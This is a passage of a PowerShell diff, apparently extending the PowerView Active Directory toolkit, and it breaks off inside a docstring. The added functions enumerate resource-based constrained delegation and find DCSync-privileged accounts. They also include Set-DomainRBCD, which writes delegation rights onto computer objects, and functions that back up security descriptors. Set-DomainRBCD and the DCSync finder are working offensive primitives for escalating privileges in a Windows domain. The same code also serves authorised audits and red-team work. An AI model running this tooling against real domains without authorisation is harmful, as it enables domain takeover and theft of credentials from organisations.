[ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $RBCDSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($RBCDSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Get-IdentityFilterString | ForEach-Object { + $IdentityFilter += $_ + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + if ($Filter -and $Filter -ne '') { + $RBCDSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() } + else { $Results = $RBCDSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + + $r = $Object | select -expand msds-allowedtoactonbehalfofotheridentity + $d = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $r, 0 + $d.DiscretionaryAcl | ForEach-Object { + $RBCDObject = New-Object PSObject + $RBCDObject | Add-Member "SourceName" $Object.samaccountname + $RBCDObject | Add-Member "SourceType" $Object.samaccounttype + $RBCDObject | Add-Member "SourceSID" $Object.objectsid + $RBCDObject | Add-Member "SourceAccountControl" $Object.useraccountcontrol + $RBCDObject | Add-Member "SourceDistinguishedName" $Object.distinguishedname + $RBCDObject | Add-Member "ServicePrincipalName" $Object.serviceprincipalname + + $Delegated = Get-DomainObject $_.SecurityIdentifier + $RBCDObject | Add-Member "DelegatedName" $Delegated.samaccountname + $RBCDObject | Add-Member "DelegatedType" $Delegated.samaccounttype + $RBCDObject | Add-Member "DelegatedSID" $_.SecurityIdentifier + $RBCDObject | Add-Member "DelegatedAccountControl" $Delegated.useraccountcontrol + $RBCDObject | Add-Member "DelegatedDistinguishedName" $Delegated.distinguishedname + + $RBCDObject + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainRBCD] Error disposing of the Results object: $_" + } + } + $RBCDSearcher.dispose() + } + } +} + +function Set-DomainRBCD { +<# +.SYNOPSIS + +Configure resource-based constrained delegation for accounts. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER DelegateFrom + +The accounts that are going to be allowed to delegate to this account(s) specified by Identity. +This can be a pipe '|' separated list. + +.PARAMETER Clear + +Remove the contents of the msds-allowedtoactonbehalfofotheridentity attribute. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Set-DomainRBCD Computer1 -DelegateFrom Computer2|Computer3 + +Configured RBCD on Computer1 to allow Computer2 and Computer3 delegation rights. +#> + [OutputType([bool])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [String] + $DelegateFrom, + + [Switch] + $Clear, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $RBCDSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($RBCDSearcher) { + $IdentityFilter = '' + $Filter = '' + + # form SDDL string and resulting SD bytes + $SDDLString = '' + if ($PSBoundParameters['DelegateFrom']) { + $DelegateFilter = '' + $DelegateFrom.Split('|') | Get-IdentityFilterString | ForEach-Object { + $DelegateFilter += $_ + Write-Verbose "[Set-DomainRBCD] Appending DelegateFilter: $_" + } + + $RBCDSearcher.filter = "(|$DelegateFilter)" + Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)" + $Results = $RBCDSearcher.FindAll() + if ($Results) { + $SDDLString = 'O:BAD:' + } + $Results | Where-Object {$_} | ForEach-Object { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + $SDDLString += "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))" + Write-Verbose "[Set-DomainRBCD] Appending to SDDL string: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($Object.objectsid))" + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_" + } + } + Write-Verbose "[Set-DomainRBCD] Using SDDL string: $SDDLString" + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + + } + + $IdentityParts = $Identity -split '\\' + if ($IdentityParts.length -gt 1) { + $SearcherArguments['Domain'] = $IdentityParts[0] + $Identity = $IdentityParts[1] + } + $IdentitySearcher = Get-DomainSearcher @SearcherArguments + $Identity | Get-IdentityFilterString | ForEach-Object { + $IdentityFilter += $_ + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter = "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Set-DomainRBCD] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + if ($Filter -and $Filter -ne '') { + $IdentitySearcher.filter = "(&$Filter)" + } + Write-Verbose "[Set-DomainRBCD] Set-DomainRBCD filter string: $($RBCDSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() } + else { $Results = $IdentitySearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + $Entry = $Object.GetDirectoryEntry() + try { + Write-Verbose "[Set-DomainRBCD] Setting 'msds-allowedtoactonbehalfofotheridentity' to '$SDBytes' for object '$($Object.Properties.samaccountname)'" + if ($SDBytes) { + $Entry.put('msds-allowedtoactonbehalfofotheridentity', $SDBytes) + } + elseif ($PSBoundParameters['Clear']) { + $Entry.Properties['msds-allowedtoactonbehalfofotheridentity'].Clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainRBCD] Error setting/replacing properties for object '$($Object.Properties.samaccountname)' : $SDBytes" + } + + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Set-DomainRBCD] Error disposing of the Results object: $_" + } + } + $RBCDSearcher.dispose() + } + } +} + +function Get-IdentityFilterString { +<# +.SYNOPSIS + +Helper function to retrieve the IdentityFilter string to avoid code duplication. +Pulled from @harmj0y's Get-DomainUser function. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.EXAMPLE + +Get-IdentityFilterString -Identity $Identity + +Returns an LDAP search string for provided identites +#> + [OutputType([String])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity + ) + + BEGIN { + $SearcherArguments = @{} + } + + PROCESS { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-IdentityFilterString] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + #$SearcherArguments['Domain'] = $IdentityDomain + #if (-not $ObjectSearcher) { + #Write-Warning "[Get-IdentityFilterString] Unable to retrieve domain searcher for '$IdentityDomain'" + #} + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + #$SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-IdentityFilterString] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + $Filter + } +} + + + +function Get-DomainDCSync { +<# +.SYNOPSIS + +Finds accounts that have DCSync privileges. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Users + +Switch. Return user accounts. + +.PARAMETER Computers + +Switch. Return computer accounts. + +.PARAMETER Groups + +Switch. Return groups. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainDCSync + +Returns accounts that have DCSync privileges in current domain. +#> + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param ( + [Switch] + $Users, + + [Switch] + $Computers, + + [Switch] + $Groups, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + + ) + + BEGIN { + $SearcherArguments = @{} + $DNSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain; $DNSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server; $DNSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + $DomainDN = Get-DomainDN @DNSearcherArguments + Write-Verbose "[Get-DomainDCSync] Retrieved the domain distinguishedname: $DomainDN" + + # Hash Table for storing DCSync privileges + $Privs = @{} + + # Are any type filters set? + $NoType = $True + if ($PSBoundParameters['Users'] -or $PSBoundParameters['Computers'] -or $PSBoundParameters['Groups']) { + $NoType = $False + } + + # Loop through ACL on the domain head + Get-DomainObjectACL $DomainDN -RightsFilter DCSync @SearcherArguments | ForEach-Object { + $ACE = $_ + $SID = $ACE.SecurityIdentifier.Value + $ADRights = $ACE.ActiveDirectoryRights + if ($ADRights -eq 'GenericAll' -or ($ADRights -eq 'ExtendedRight' -and !($ACE.ObjectAceType) -and !($ACE.InheritedObjectAceType))) { + $Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') + } + else { + $ACEType = $ACE.ObjectAceType.Guid + if (!($Privs.keys -contains $SID)) { + $Privs.Add($SID, @($ACEType)) + } + elseif (!($Privs.$SID -contains $ACEType)) { + $Privs.$SID += $ACEType + } + } + } + + # Initial account type filter + $Filter = '' + $TypeFilter = '' + $IdentityFilter = '' + if ($PSBoundParameters['Users']) { + $TypeFilter += '(samAccountType=805306368)' + } + if ($PSBoundParameters['Computers']) { + $TypeFilter += '(samAccountType=805306369)' + } + if ($PSBoundParameters['Groups']) { + $TypeFilter += '(objectCategory=group)' + } + if ($TypeFilter -and ($TypeFilter.Trim() -ne '')) { + $Filter = "(|$TypeFilter)" + } + else { + $Filter = '(|(samAccountType=805306368)(samAccountType=805306369))' + } + + # Keep track of SIDs that have been added + $Check = @() + + $Privs.keys | ForEach-Object { + if ($Privs.$_.Contains('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2') -and $Privs.$_.Contains('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) { + $Object = Get-DomainObject $_ + if ($Object) { + $ObjectSID = $Object.objectsid + if ($Object.objectclass -contains 'group') { + if ($PSBoundParameters['Groups'] -and !($Check -contains $ObjectSID)) { + $IdentityFilter += "(objectsid=$ObjectSID)" + } + $Object | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-Object { + $MemberSID = $_.MemberSID + if ($_.MemberObjectClass -ne 'group' -and !($Check -contains $MemberSID)) { + if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($_.MemberObjectClass -eq 'user')) -Or (($PSBoundParameters['Computers']) -And ($_.MemberObjectClass -eq 'computer')))) { + $IdentityFilter += "(objectsid=$MemberSID)" + } + } + elseif (!($Check -contains $MemberSID)) { + if ($PSBoundParameters['Groups']) { + $IdentityFilter += "(objectsid=$MemberSID)" + } + } + $Check += $MemberSID + } + } + elseif (!($Check -contains $ObjectSID)) { + if (($NoType) -Or ((($PSBoundParameters['Users']) -And ($Object.samaccounttype -eq 'USER_OBJECT')) -Or (($PSBoundParameters['Computers']) -And ($Object.samaccounttype -eq 'MACHINE_ACCOUNT')))) { + $IdentityFilter += "(objectsid=$ObjectSID)" + } + } + $Check += $ObjectSID + } + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainDCSync] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainDCSync] Get-DomainDCSync filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDCSync] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + + } +} + +function Get-DomainObjectSD { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER OutFile + +Output file of the SD's to be backed up in the CSV format. + +.PARAMETER Check + +Check the SD with the provided SD and report if it's the same or different. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111-3163024120-2630140754-512G:S-1-5-21-2042794111-3163024120-2630140754-512D:AI(OA;;RP;4c..." + +Set the SD for the charlie.clark user in the testlab.local domain to +the SD string specified by SDDLString. + +.EXAMPLE + +Set-DomainObjectSD -InputFile .\backup-sds.csv + +Restore all of the SD's contained within the file .\backup-sds.csv. + +.OUTPUTS + +PSObject + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([PSObject])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [String] + $OutFile, + + [String] + $Check, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + $SearcherArguments['SecurityMasks'] = 'Dacl' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($Searcher) { + $Filter = '' + $Checks = '' + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + if (!($Filter) -and $PSBoundParameters['Check'] -and (Test-Path -Path $Check -PathType Leaf)) { + $Checks = Import-Csv $Check + $Checks | ForEach-Object {$Filter += Get-IdentityFilterString $_.ObjectSID} + } + if ($Filter) { + $Searcher.filter = "(|$Filter)" + Write-Verbose "[Get-DomainObjectSD] Using filter: $($Searcher.filter)" + $Objects = @() + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 + $SDDLObject = New-Object PSObject + $SDDLObject | Add-Member "ObjectSID" $ObjectSid + $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) + if ($Checks) { + $SDDLtoCheck = $Checks | Where-Object {$_.ObjectSID -eq $ObjectSid} + if ($SDDLtoCheck.ObjectSDDL -eq $SDDLObject.ObjectSDDL) { + Write-Verbose "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" + } + else { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" + $SDDLObject + $Objects += $SDDLObject + } + } + elseif ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" + } + elseif ($PSBoundParameters['Check']) { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" + $SDDLObject + $Objects += $SDDLObject + } + else { + $SDDLObject + $Objects += $SDDLObject + } + } + if ($PSBoundParameters['OutFile']) { + try { + Write-Verbose "[Get-DomainObjectSD] Writing object SD information to $OutFile" + $Objects | ForEach-Object { Export-Csv -InputObject $_ -Path $OutFile -Append } + } + catch { + Write-Warning "[Get-DomainObjectSD] Unable to write $OutFile" + } + } + } + } + } +} + + +function Set-DomainObjectSD { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER InputFile + +Input file containing the 